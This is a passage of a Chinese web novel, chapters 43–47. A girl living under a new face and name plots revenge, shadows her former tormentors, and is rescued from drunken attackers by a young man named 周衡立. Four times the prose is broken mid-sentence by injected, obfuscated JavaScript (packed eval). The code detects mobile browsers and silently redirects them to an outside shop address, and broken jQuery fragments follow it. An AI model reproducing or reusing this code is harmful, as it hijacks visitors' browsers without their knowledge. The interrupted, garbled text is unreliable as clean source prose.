但她那时候浑身动弹不得，想要呼喊，却只能发出微不可闻的一声“不要”，无人听到。 后来这些人行色匆匆地离开，以为她在火中必死无疑。 谁曾想到，程景逸会来救她，所以她活了下来。 虽然不知道为什么程景逸会在之后音信全无，但她还是感念程景逸的救命之恩。 恐怕正是因为她侥幸死里逃生，林晶无法确定她是否看见什么或者知道什么，却不好对她再下手，便只好把她赶走。 容清洛一边洗漱一边思考，想到这里，对着镜中的自己露出一抹诡异的微笑。 她不会放过林晶的。 为此，她甘愿改容貌，换名字，甘愿和恶鬼做交易。 人间没有她的位置。 也好。 她踏入这深渊，走进这黑夜，为的本也不是享受人间。 她甘愿变成一只不容于人世间的厉鬼，长久地蛰伏于暗影之中。 等待着的，是一个吞噬黑暗与不公的机会。 43. 长夜独行 容清洛快速收拾好一切，出门，吃早餐，赶到华章书屋。 这家书店在市中心，林晶、甄安然、寇依宁每个周末都会来这里自习。 容清洛之所以选择在这里打工，就是为了搜集几人的信息。 她如今顶着和以前完全不同的脸和名字，即便她光明正大地出现在这几人面前，她们也根本不会联想到，她就是季希。 今天是周日，果不其然，几人来到三楼的自习区，点好咖啡和甜品，便围坐在一起。 容清洛端着托盘走到她们身边，听见几人正在讨论高考。 她按照远近顺序，依次把咖啡摆到三人面前。 寇依宁面无表情地抬眸看她一眼，撇嘴道：“怎么又要期末考试了，时间过得好快，高三上学期就要结束了。” 甄安然端起咖啡轻抿一口，才道：“是呀，马上就高三下学期了，高考还会远吗？” 林晶没说话，眼神在容清洛的面上扫过，皱起眉头。 寇依宁突然来了兴趣，问道：“晶姐，你准备报考哪里的学校呀？” 林晶原本一瞬不错地盯着这个女服务生的脸，听到寇依宁的话，她掩下心中对这张脸的厌恶，懒懒答道：“目前我打算去宁川市。” 容清洛将甜品放在林晶书本旁边的动作微顿。 甄安然了然笑道：“是因为林裕哥哥在宁川市吗？” 林晶并不否认，只道：“不仅我哥在宁川，林氏总部也在宁川。这些年我一直待在南庐，也不过是因为爷爷想留在老家，所以爸爸把我留在这边替他尽孝罢了……” 容清洛把所有咖啡和甜品为三人摆好，没有继续逗留的理由，便微笑着离开。 转身的瞬间，她勾起的唇角慢慢扯平，眼底变成一片深潭。 身后有小声的讨论声不远不近地传来。 寇依宁：“喔，真是每次看到这个服务生都不得不感叹的程度啊，她真得好漂亮。” 甄安然轻嗤一声：“再漂亮有什么用，还不是在这里打工。” 寇依宁：“也对。不过她确实长得美啊，我夸一句不过分吧。你是不是嫉妒她长得比你好看？” 两个人七嘴八舌地斗起嘴来。 林晶似乎对此嗤之以鼻，只听她不耐烦地打断二人道：“萍水相逢的玩意儿，除了在这里，并没有相遇的机会，她有什么值得你们费这么多口舌的？” 容清洛靠在拐角处的墙壁上，听着这些对话无声地冷笑。 她拿着托盘回到吧台。 小丽递给她一杯水，殷勤笑道：“清洛，谢谢你，我实在是不敢去给她们送咖啡，只好麻烦你。” 容清洛摇摇头：“小事儿。不过，说起来，她们看起来都又漂亮又可爱，你怎么这么怕她们，每次都让我替你去？” 小丽环顾四周。 刚忙完一阵，这会儿是一个空档，吧台周围没什么人。 她招手示意容清洛凑过来，才小声道：“清洛，我初中和她们一个学校的。当然我就是很普通的人，所以她们不认识我，但我可听说过太多她们的事迹了。所以一见到她们就有些心里犯怵。” 容清洛眼神微亮，一副好奇宝宝的模样：“有八卦？” 小丽：“你还是不要知道比较好。” “可真是人不可貌相……”容清洛本来想再问一问，可是这时，和容清洛负责同一片区域的万姐喊她，她只好道，“我先过去，有空再聊。” 容清洛走向冲自己招手的万姐：“万姐，有什么事吗？” 万姐：“又被小丽喊去帮忙了？” 容清洛：“是啊，刚刚那会儿吧台那里有点忙。” 万姐点头，指着面前几个大箱子道：“这批书要上架，你来负责一下。” 容清洛比了一个ok的手势：“好的。” 于是便专心整理起书来。 时间缓慢流过，有声音在旁边响起。 “汀洛？” 以为那人在叫“清洛”，容清洛侧头望去，是一个陌生女子。 见那人满脸震惊地望着自己的模样，容清洛友好问道：“你好，请问刚刚你是在叫我吗？” 陌生女子回神，小心翼翼道：“是你吗，严汀洛？” 严汀洛？ 容清洛礼貌微笑道：“女士，您恐怕认错人了。” 陌生女子道：“抱歉，你和我以前的一个朋友长得太像了，不仅长得像，连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577994|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音和身形都很像，所以我一时认错了。对不起，打扰你工作了。” 这位女士一直道歉，倒让容清洛感到十分不好意思：“没事的，能和您的朋友有几分相似，是我的荣幸。有机会的话，我倒是很想认识一下您的这位朋友。” 没想到，这陌生女子却露出一份哀伤的神色：“她已经不在人世了。” 容清洛错愕，连忙道：“对不起，我不知道这件事，节哀。” 陌生女子没说什么，勉强微笑着道别离去。 容清洛虽然觉得有些奇怪，但没将这件事情太放在心上，转身继续整理书籍。 快到中午时，林晶三人准备走，一直悄悄注意着她们动静的容清洛借着书架的遮挡亦步亦趋地跟着几人向外走，以期听见她们在说什么。 林晶很敏锐，她似乎注意到什么，扭头扫视四周。 容清洛连忙往后退，躲在一个书架的后面。 她这一退，便一不小心撞在后面一人怀里。 后面那人很快退开。 容清洛见林晶三人已经走出大门，便不再追。 她回身，发现自己刚刚撞到的是一个青年，而这个青年正在地上捡书。 “不好意思，我来帮您捡吧。”说着，容清洛蹲下身来捡书。 都是些古典文化相关的书。 《诗经》、《论语》、《古文观止》…… 容清洛心想，还挺有文化。 那青年本低着头，见她把几本书递到他面前，他抬头接过书：“谢谢。” 容清洛这才看清他的眉眼。 面如冠玉，俊雅清新，温文尔雅。 虽然是寒冬，但是书店里的暖气很足。 他的外套搭在手臂上，怀里抱着一摞书。 黑衣黑裤，只是没戴口罩。 青年在书架中穿梭，还在找书。 容清洛悄悄抬手，在自己的视线里挡住青年的下半张脸，只露出他的额头和眉眼。 这人……她在医院顶楼的天台见过。 原来他长这个模样。 容清洛多少还是对他最后的选择有些好奇的。 于是她没有走远，一直默默留意着他。 44. 长夜独行 周衡立在收银台付好款之后，见身后并没有人排队，便没有着急离开。 收银员询问：“先生，请问还有什么需求吗？” 周衡立：“贵店提供配送服务吗？” 华章书屋并没有这项服务。 所以收银员抱歉道：“不好意思……” 只是，收银员的话还未说完，容清洛走了过来。 她笑道：“先生您好，您买的书很多呢，我们华章书屋竭诚服务每一个顾客，特殊情况会特殊处理的。” “您现在是不方便把书带回去吗？那您可以在这里登记一下地址，我们会派专员将您购买的书打包送去。”说着，容清洛从工作服的大口袋里摸出笔记本和笔。 “好的，谢谢。”周衡立很爽快地留下一串地址。 临走前，他抽出其中的一本书：“这本我随身带走。” “好的，您慢走，欢迎下次光临。”容清洛微笑。 她一眼快速地扫过封皮，看到上面印有“了凡四训”几个大字。 这是什么书？ 青年似乎还有事情，没有过多停留。 收银员同事目睹了全程，调侃道：“人都走了，还看呢。我怎么不知道咱们店里还有配送到家这项服务呢？” “特殊情况特殊处理嘛，姐，您看他买了这么多书，咱们适当地帮帮忙，下次他还来呢。”容清洛打包票道，“姐，我今天上早班，下午下班早，我下班后骑车给人家送去，绝对不会给店里名声抹黑的，也不会耽误正常的上班时间。” 收银员笑道：“小伙子确实帅，你看上这个小伙子了？” 容清洛又不好说实情，只好道：“看上了，怎么样？” 收银员是一个上了年纪的热心阿姨，她笑着鼓励道：“看上了就加油去追呀，看好你哦。” 容清洛讪笑着抱着青年留下的书和写着地址的纸条走开。 *** 周衡立离开书店后，一边往学校赶，一边发信息：“书已买，书店会配送到家，放心。” 对面很快回复：“谢谢。” 周衡立的手指在屏幕上轻轻打下几个字：“最近还好吗？” 却始终没有按下发送键。 皱眉沉吟半晌，他终究还是将两人的对话信息都删掉，没有再和对方联系。 *** 下午五点左右，容清洛将打包好的书放在共享单车的车筐中，按照纸条上的地址骑车来到附近的一个小区。 严靖诚为了方便联络，给她配了一部手机。 所以她现在也是有手机的人了。 容清洛拿出手机，拨通纸条上的电话。 通话音响起，容清洛心里一阵紧张。 电话很快被接通，对面响起欢快的少女声音：“你好。” 容清洛：“你好，这里是华章书屋，今天一位帅哥在书店买下许多书，让我们配送到北沙路37号秀林小区7栋文先生家里，请问这是文先生家吗？” 那少女似乎有些疑惑：“帅哥？什么样的帅哥？” 容清洛：“他看起来20岁出头的模样。” 电话那头是一阵沉默。 就在容清洛以为电话掉线了的时候，对面响起另外一道比较成熟的女声：“好的辛苦您了，请您把书放在门卫室就行，我们会抽时间去取的。” 容清洛：“好。” 她按照对面人的要求，把书放在门卫室。 不过在那之后，她并没有马上离开。 容清洛把共享单车还到指定区域，然后穿过人行横道，在小区对面的超市里买了一包零食。 接着便在超市外的长椅上坐下，观察着小区门口的门卫室。 大概过了一刻钟左右。 一位中年妇女和一个穿着初中校服的少女一起来到门卫室。 很快，她们抱着刚刚由她送来的书离开。 所以，他姓文吗？ 这是他的妈妈和妹妹吗？ 但是他为什么自己不把书带给她们呢？ 容清洛拍下一张照片。 放大以后，却觉得二人和那个青年长得并不太像。 正在思索着，手机里突然进来一条短信。 「今晚例行汇报日，勿忘。另，见面时间推迟一小时。」 瞬间，容清洛再没有探究其他人秘密的心思。 她自己还一摊子事呢。 容清洛摇摇头，把零食包装袋扔进垃圾桶，戴上帽子，起身离开。 每个月的月底，容清洛都需要去南庐市人民医院找严靖诚复诊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577995|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这其实是他们二人之间定下的例行汇报日。 每当这个时候，容清洛会向严靖诚汇报这个月打探到的所有情报，而严靖诚也会给出一些指示和建议。 由于容清洛白天需要打工，所以会面时间通常在晚上八点。 今天要推迟一小时。 那么，容清洛应该在九点钟出现在严靖诚的办公室。 但是她不会那么听话。 收到严靖诚通知时间推迟的短信以后，容清洛立马回家换了件衣服，拿上近期搜集整理到的资料和信息，背着书包出门。 寒风凛冽，夜幕中，容清洛双手插兜，咬着棒棒糖走下公交车。 腕间的手表上显示目前是七点零五分。 她来得比往常还要早。 目光从马路对面高楼上“南庐市人民医院”那几个大字扫过，容清洛面无表情地把嘴里的硬糖咬碎。 每一个不同寻常的细节都潜藏着信息。 她要看看，严靖诚在搞什么鬼。 容清洛将棒棒糖的塑料棒随手扔进垃圾桶，经过路边的小摊时，上前道：“老板，来一份鸡蛋灌饼。” 她每次来医院，都不会有什么好胃口。 所以这自然不是给她吃的，而是带给严靖诚的。 不过她没什么钱，随便买一点是个意思。 容清洛付钱以后，拎着袋子过马路。 走进医院门诊大厅，容清洛看见一抹身影很眼熟。 是上午在华章书屋把她认错的那个女子。 容清洛能一眼就认出这女子，是因为她真的很有气质。 皮草大衣配珍珠首饰，极有女人味，每走一步都像踩在别人的心上。 美人行色匆匆，没有瞧见她。 她的脸既然会被这位大美人给认错，就说明这位大美人如果看见她就会认出她。 但容清洛不想在医院被人看见。 所以容清洛装模作样地打了一个喷嚏，然后顺理成章地从兜里摸出一枚口罩，迅速戴在脸上。 许多人在等电梯。 容清洛混在人群中，跟在美人身后走进电梯，看见美人摁下五楼的按钮。 五层。 烧伤整形外科。 也是容清洛的目的地。 45. 长夜独行 容清洛口罩下的唇角微抿，眼神却不露声色。 美人走出电梯，熟门熟路地穿梭在走廊上，似乎对这里很熟悉。 容清洛也跟着走出电梯。 当初火灾出事以后，容清洛在这里治疗过一段时间。 但后来为了减少见过她脸的人，严靖诚把她转到一家私人医院，在那里做完手术，又安排她在郊区养伤，等她的脸彻底养好，才把她接回城里。 所以虽然五层有医护人员认识原来的季希，却不会认识现在的容清洛。 尽管如此，容清洛还是没有跟得太近，始终和前方的那位美人保持着一段距离。 眼见那位美人走进严靖诚的办公室，容清洛停下脚步。 定定看着那扇门几秒，容清洛转身离开。 下楼时，容清洛突然想起，这位美人今天说她长得像的那位朋友，叫什么来着？ 好像姓严。 严靖诚果然有问题。 他有事情瞒着她。 不过，严靖诚很多事情不告诉她，其实真的很正常。 毕竟两人本来就是交易，各自有各自的目的。 但是，她不能忍受的是，他在她不知情的情况下，给她安了一张别人的脸。 容清洛很生气。 但是她知道，自己不能轻举妄动。 容清洛在医院外面吹了一阵冷风，终于冷静下来。 如果直接离开，会被怀疑的。 严靖诚背靠范家，范家势力不简单，她不能随便翻脸。 更何况她还需要借助他们的势力来复仇。 手中的鸡蛋灌饼早就冰凉。 她不想给严靖诚了，但是又不想浪费粮食。 只好找了个背风的地方，味同嚼蜡般一口一口地将饼子全部吃掉。 看了一眼手表，七点四十。 容清洛重新走进医院，回到五层。 严靖诚办公室的门还是关着的，想必那位美人还没离开。 容清洛回到五层的电梯口。 不管是坐电梯还是走消防通道，这里是离开的必经之处。 容清洛环顾四周，走到几块立式海报架的后面，装作玩手机等人的模样。 实际上她的目光一直盯着走廊。 七点五十分，美人走出，又一次站在电梯前。 美人似乎眼圈微红。 这是哭过吗？ 现在离九点钟时间尚早，容清洛还有时间。 她跟随在美人身后，走出医院。 美人在停车场开车离开。 容清洛拍下美人的车牌号。 虽然严靖诚会给她一些经费，以供她进行跟踪等活动。 但她通常还是比较节省的，并且也尽量自己打工挣钱。 但她确实一无所有，是真的穷啊。 不过容清洛还是忍痛在路边拦下一辆出租车，一路跟着美人到达一处高档小区。 小区的安保工作做得很不错，容清洛进不去。 不过好在她确定了美人的住址，只要有心，以后总有机会设计偶遇的，到时候再看看能不能从美人身上套点话出来。 美人住的地方很清静，周围很安静，人也少。 容清洛和门卫打听了一下，知道附近有一个公交站，便顺着门卫给她指的方向走去。 拐过一个路口，果然看见公交站。 天空突然落起雨滴，空气中水雾弥漫。 好在她提前看了天气预报，随身带着伞。 容清洛从包里拿出雨伞，过马路，朝对面的公交站台走去。 几个醉醺醺的中年男人推搡着结伴而行，经过容清洛时有人吹了声口哨。 容清洛没理他们，绕过他们径直往前走。 “哥，她刚刚是不是瞪了我一眼？” “现在的妞儿都这么没礼貌？” “仗着自己好看就为所欲为……” 几个人口齿不清地交谈起来，然后便开始拉扯容清洛，嘴里说些不三不四的话。 “喂，怎么着，你长得好看就瞧不起我们么？” “陪我们哥儿几个喝几杯嘛。” “别敬酒不吃吃罚酒，你个臭不要脸的……” 今天本就心情不太好。 还要被陌生人骂不好听的话，容清洛顿时心头火起，想也没想，甩开拉她的那人，对着他的脸扇去，冷冷道：“闭嘴吧，把你要说出来的污言秽语都给本姑娘咽回去。” 那人显然没想到容清洛会还手，摸着自己的脸道：“哟，还挺辣，没关系，你越彪悍，爷越喜欢。兄弟们，把她拿下。” 他话音刚落，几人便围上来，想把她制服。 容清洛把雨伞的伞面收起，把伞棒当成棍子狠狠地往几人身上抽。 不过她到底是个未受过打架训练的女孩子，再狠辣的力气打在人高马大的几人身上，伤害都很有限。 那几人最开始被打得措手不及，容清洛趁机想跑，却被反应过来的他们再次围住。 几人都在笑她。 “继续啊，怎么不打了？你那小胳膊小腿的，抡在爷身上就跟挠痒痒似的。” “哥，嫂子多温柔啊，你怎么喜欢这个调调儿呀？太彪悍了，我不喜欢。” “你小子懂什么，打是亲骂是爱，这叫情趣。” “哈哈哈哈……” 容清洛眼里闪过寒光，看准一个醉得明显厉害一些的人，用最大的力气把雨伞往他脑袋上砸了一下，然后趁他东倒西歪的时候一脚踹开他，冲出重围。 身后有人拽她的衣服。 容清洛被拉得向后退。 她真得很讨厌这种感觉。 这些人到底是谁呀？ 为什么不管是认识的、还是不认识的人，都来欺负她？ 在学校，她莫名其妙地被林晶等人盯上，被害得不仅毁容还无法继续上学。 为了能完成烧伤整形手术，也为了缴清医药费，她不得不和严靖诚做交易，结果被不明不白地安上一张别人的脸。 她是孤身一人，但也不该被这么欺负。 容清洛的包里有一把水果刀。 这把刀，她每天出门都带着。 但是一般而言，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577996|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是她壮胆用的，没想过真的要捅谁刀子。 可现在，她真的很想结束这一切。 凭什么不管什么人都能来她这里撒野？ “滚啊！”容清洛拼命甩开扯着她衣服的手，争取出几秒时间，飞速地从包里取出水果刀。 她拔出刀鞘，对着这群醉鬼喊道：“别过来！” 雨幕中，她只瞧见一张张笑得诡异的脸。 那些人没有被震慑住，反而更兴奋了。 “哇塞，我好怕怕呀。” “有本事真的捅过来啊。” “知道捅人是犯法的吧，你还是个学生吧，一旦有了案底，你还想不想要未来了？” “我就知道，这妞儿不敢的哈哈哈哈哈……” 雨水冲刷着容清洛的脸。 听到这话，本就面无血色的她，脸色更白了。 她连学都没得上了。 她早就没有未来了。 她现在活着的每一天、每一刻，其实都是在苟延残喘。 她和严靖诚那样的人交易，妄想用蝼蚁之力去扳倒林家，为她自己，为她枉死的朋友讨一个公道。 所凭借的，也不过就是一颗不甘的心。 为什么？ 为什么连路上遇到的这些阿猫阿狗都来挑衅她？ 她就这么好欺负吗？ 这些人凭什么这么自以为是地威胁她、拿捏她？ 以为她真不敢白刀子进、红刀子出吗？ 早知今日会有这般处境，当初她就不该被程景逸拦下来。 高一的那个冬天，在教学楼的顶楼，她就应该把林晶一刀解决掉。 就算那时候她和林晶同归于尽，也好过她之后承受的这些苦痛。 现如今，即便有一天她死去，顶着的也不是她自己的脸。 若有一天到阴曹地府，她到底是谁呢？ 是季希？还是容清洛？ 亦或者她谁都不是，只是一坨行尸走肉？ 怒火在容清洛的胸中燃起，烧得她想让这些人都陪她覆灭。 容清洛咬紧牙关，心一横，厉声道：“你们，都给我，陪葬吧！” 说着就朝几人冲去，完全是不要命一般，只想让这些人付出代价。 眼看她手中的刀就要刺中其中一人，有人极快地从身后控制住她，卸掉她手中的刀。 刀落在地上的那一刻，容清洛感觉她的天塌了下来。 最后的底牌，也没有了。 容清洛挣扎着用手肘往身后捅，却被身后那人轻松扭住手。 那群喝得醉醺醺的人以为来了帮手，看准机会，就要上前抓她。 容清洛正在为前后夹击、腹背受敌的状况想对策。 没想到身后那人一跃而出，拦在她面前，迅速进入战局，和对面几人打起来。 容清洛就这样退出了打斗的中心。 也看清楚挡在她身前的身影。 是他。 容清洛和他有过两面之缘。 一面是很久以前在医院的顶楼天台。 一面就在今天白天的书店。 46. 长夜独行 周衡立撂倒一个人，余光瞥见刚被他卸掉短刀的姑娘直愣愣地站在一旁。 他拦住一只抓向那姑娘的手，使巧劲一掰，那人便痛得哇哇乱叫。 那姑娘唬了一跳，终于回神。 周衡立将手里制住的人摔在地上后，抬手给那姑娘指了一个方向，提点道：“还不逃远点。” 微一分神，身后有破空声传来。 原来被这雨水一冲，那群人的酒醒了大半。 被这不知道从哪里冒出来的小子打得灰头土脸，他们当然不甘心。 有人趁乱捡起容清洛掉在地上的刀，朝周衡立刺去。 容清洛看到这一幕，连忙将手中的伞朝那人掷去，并提醒面前的青年：“小心！” 不过，她后知后觉地发现，他好像不需要自己的提醒。 在察觉到侧后方粗重的喘息和脚步声、以及短刀在空中划过的声响时，周衡立便立即转身，不退反进。 身后的姑娘扔出一把伞，虽未将那人击倒，却也让那人的速度迟缓下来。 周衡立看准机会将那人手中的刀踢飞。 那人失去武器，很快被周衡立摁在地上。 这群人这会儿是彻底酒醒了，见根本打不过，便开始求饶。 周衡立回头，问不远处的姑娘：“你要报警吗？” 容清洛摇头：“算了，我还有事情，就不耽误时间了。” 周衡立捡起地上那把短短的水果刀。 利刃被雨水冲刷着，被路灯的光照着，再配上周衡立唇边那抹平静的微笑，让地上躺着的几人有点胆寒。 “没听明白吗？”周衡立，“还留在这里，是需要我教你们怎么滚吗？” 几人知道自己这是被他们放过了，连滚带爬地在雨幕中跑远。 “谢谢你。”容清洛拾起自己的伞，撑开，走到青年面前，“不过，你这样说话，很容易被打啊。” 她把伞面向青年倾斜，但是因为他个子很高，她只有高高举起手臂才能让两人都在伞下。 周衡立凉凉道：“你说话好听，还不是被打。” 拨开顶着他脑袋的伞，周衡立走进雨帘里。 容清洛以为是自己的话让他生气了，有些懊恼：“诶，你生气也别淋雨呀，有伞为什么不打？” 周衡立在不远处路边的草坪上捡起一把撑开的伞，挑眉看向身后追来的人：“是啊，有伞为什么不打，这不是看见有人好像拿着刀子要捅人。” “我是被逼的，我当时很生气，为了自保，只好这样……”容清洛下意识解释几句，带着哭腔。 说到这里，她却突然很痛恨自己。 她为什么总是这么没有底气，好像她做错了什么事一样，对所有人都矮一头？ 容清洛猛地闭嘴，忍住眼中的泪意。 乖巧温驯只会被人训斥和瞧不起，温良恭俭让并无人在意。 社会规训人，但是却将被规训的人淘汰。 而她，也只不过是想要活着，有尊严地、不被人欺凌地活着。 周衡立自然观察到她的神情。 他示意少女看他手里的刀。 容清洛以为他要把刀还给自己，便伸手去拽刀柄。 可那刀却纹丝不动。 容清洛没明白他的意思，控诉地看进他眼里：“你什么意思？” 周衡立言简意赅地吐出两个字：“刀鞘。” 容清洛回身，在雨地里寻找自己的刀鞘。 但是她眼神好像不太好，寻觅半天，也没瞧见刀鞘的踪影。 周衡立轻叹口气，走到路边的垃圾桶旁，从一个纸箱下翻出刀鞘。 容清洛跑到他身边，不好意思道：“可能是刚刚被他们踢过来的，我还真没瞧见。”说着，她便要接过刀鞘。 周衡立躲过她的手，把掌心一直攥着的水果刀插进刀鞘中，然后从兜里拿出纸巾把刀身外部的脏污水渍擦干净，才还给容清洛。 容清洛闷闷道：“谢谢。” 见他神色复杂地看着她，容清洛沉默几秒，又补充道：“即便你救了我，你也没有资格对我说教。” “没打算说教。”周衡立问道，“你刚说你有事情不能耽搁，你准备去哪儿？” 容清洛：“关你什么事。” 周衡立：“不知道刚才那群人会不会回来找你麻烦，我送佛送到西，当然是想送你一程。” “怎么，你以为是什么事？” 容清洛：“我要去医院。” 周衡立：“人民医院吗？” 容清洛狐疑：“你怎么知道？” “南庐市能有几家医院，猜的。”周衡立上下打量她，半晌才道，“你刚受伤了？” 容清洛：“不是，我去……复诊。” 周衡立没有继续问下去。 容清洛往旁边的公交车站走去：“我去那边等公交了。” 周衡立跟上她，建议道：“你都淋成这个样子，还是不要去祸害公交车了。” 容清洛这才注意到，因为下雨，自己的衣服、裤子、鞋都湿漉漉的，并且上面还蹭到不少泥，想必是刚才打斗间摔在地上时沾上的。 “等着。”周衡立拿出手机，拨通一个电话。 对面很快接起，响起一道男声：“老周？” 周衡立：“乔宣，你那车借我用一下呗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577997|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 乔宣爽快道：“可以啊，老周你在哪呢，我给你送过去。” 周衡立：“在你家小区旁边的公交车站。” 等他挂断电话，容清洛道：“没事，我自己回去吧。祸害你朋友的车就更不好了。” 周衡立没有和她纠缠这个问题，而是问道：“刚刚我拦住那些人的时候，让你走，你怎么不走？” 容清洛走到公交车站，收起伞，才道：“你是为了帮我才被牵扯进来的，我不可能丢下你一个人离开。” 周衡立：“还挺仗义，那我当然也不可能丢下你一个人离开。” 容清洛心里打定主意，等公交车一到，她就上车，这人能奈她何。 可惜，公交车迟迟未到。 雨帘从车站顶棚垂下，将车站内和车站外划分成两个空间。 沉默弥漫，容清洛面无表情。 没过多久，一辆跑车停在二人面前。 从驾驶室走下一人，打着黑色的伞，玉树临风。 容清洛心想，这应该就是旁边这人的朋友吧。 果然，物以类聚，人以群分。 周衡立上前亲昵地拍拍那人的肩膀：“辛苦你跑这一趟了。” 乔宣把车钥匙扔到周衡立怀里：“说这些做什么，车给你放这了，我走回去。” 容清洛能感觉到，这位乔宣在临走前，视线似乎意味深长地从她的面上扫过去。 好在他没说什么，转身便打着伞离开，潇洒地来，潇洒地走。 容清洛有些羡慕，她如果也可以活得这样潇洒就好了。 “上车吧。”周衡立为她拉开副驾驶的门。 容清洛站着没动。 周衡立：“你怕我是坏人？” 容清洛：“对。” 周衡立：“我要是坏人，我刚才会救你？” 容清洛直言不讳道：“知人知面不知心，防人之心不可无。我们俩素昧平生，我不信任你是一件很正常的事情。我不强求别人，希望别人也不要强求我。” 周衡立把副驾驶的门关上，重新走进公交站台。 他收起伞，站在离容清洛两三步的位置，停下来。 容清洛：“你干什么？” 周衡立：“我只是觉得，我们好像不是素昧平生。” 容清洛：“别和我套近乎。” “我见过你。”周衡立的声音里带着笃定。 容清洛点头承认道：“是，我们白天在华章书屋见过。我是华章书屋的店员。我以为你贵人多忘事，不会记得我，所以我没提。” 周衡立：“不止。加上今天晚上这一次，我们，见过三面。” 47. 长夜独行 “对此，”周衡立眯起眼睛，“你好像并不感到惊讶。” 容清洛连忙露出一副疑惑的表情：“我们还在哪里见过？” 周衡立回忆道：“去年初夏的一个早晨，我在人民医院的顶楼天台上，看见了一个想要跳楼的姑娘，是你吧。” 容清洛下意识反驳道：“谁想要跳楼，没有的事情，你当时明明知道……” 倏地反应过来，她刚刚好像自己说漏了嘴，容清洛的声音越来越小，渐渐哑火。 周衡立勾起唇角，浅浅笑起来：“你果然记得。” 他得出结论，肯定道：“你是在装不认识我。” 容清洛皱眉：“你在诈我。” 周衡立：“没有，我只是想要确认自己有没有认错人。” 容清洛握着伞柄，沉默几秒。 其实承认也不是什么天大的事情。 她道：“你是怎么认出我的？我当时脸上用纱布缠着，你根本就不知道我长什么样子。” 周衡立反问道：“我当时戴着口罩，你又是怎么认出我的？” “明明是我先问你的。”容清洛小声吐槽一句。 “也好，那我先答便是。”周衡立漫不经心地解释道，“其实我白天在书店并没有认出你。刚刚远远地发现你被纠缠的时候，其实也没有认出你。” 容清洛：“所以，你不是因为认出我才救我的？” 周衡立点头：“遇到这种事，不管是谁，我都会出手的。” 容清洛沉吟：“那你是在什么时候认出我的？” 周衡立：“在我丢下伞跑向你，本以为你束手无策，你却拿出刀反抗的时候。” 就因为这？ 容清洛不解道：“为什么？一般人被逼急了都会反抗吧，这能有什么不同之处？” 周衡立：“战意。” 容清洛微愣：“什么？” 又是战意。 这到底是个什么东西？ 周衡立：“夸你不屈不退、舍命相搏。” “你是在说我比较疯吗？”容清洛，“不过原来你认人还真的不靠脸啊。” “随你怎么理解吧，”周衡立耸耸肩，又饶有兴趣地问道，“不过，这种战意一般都出现在军人、警察这种战士身上。” 他微微俯身，视线和容清洛平齐，认真问道：“你一个小姑娘家家的，怎么会这样？” 周衡立笑起来很有亲和力，但是肃着一张脸的时候还是很唬人的。 容清洛被他这种带着威压的眼神看得不自在，但还是忍住想要向后退的念头，瞪了回去：“你不要多管闲事。” “好吧，你既然不愿意说，我也不多问。”周衡立直起身。 他做出一个邀请的动作：“我们这么有缘，也算是朋友了吧，上车，我送你一程。” 容清洛站着未动：“可我还不知道该怎么称呼你这位朋友。” 周衡立：“我们都是有秘密的人，还是让彼此保持一些神秘比较好。” “好吧，”容清洛，“那我不坐你的车。” 周衡立：“威胁我？” 容清洛摇头：“还真不是，你不要误会。” 她斟酌着解释道：“我只是觉得，交换名字是交朋友最基本的礼节。毕竟如果突然想起朋友，却只能以‘那个人’来指代，实在是一件很悲伤的事情。” 周衡立若有所思。 容清洛主动伸出手道：“你好，我叫季希，季节的季，希望的希。” 容清洛选择告诉他自己的真名。 毕竟，在走上如今这条路之初的时候，在那个天台，在光明和黑暗的两难节点上，他算是她抉择的见证者和旁观者，虽然他可能并不知道她最终的决定。 就像她同样不知道，他是否已经选择走进黑夜。 她虽然不知道自己的结局，但也许从他身上，她能看见自己的未来。 周衡立能看出这个自称“季希”的姑娘眼里露出的真诚，他迟疑片刻，和容清洛握手：“抱歉，我只能告诉你我姓周。” 容清洛：“好吧，小周先生。这样我们也算是勉强成为朋友了吧。” 周衡立对她的这个称呼不置可否，只是道：“现在你上车吗？” “当然，”容清洛迅速坐上副驾，“朋友的车不蹭白不蹭。” 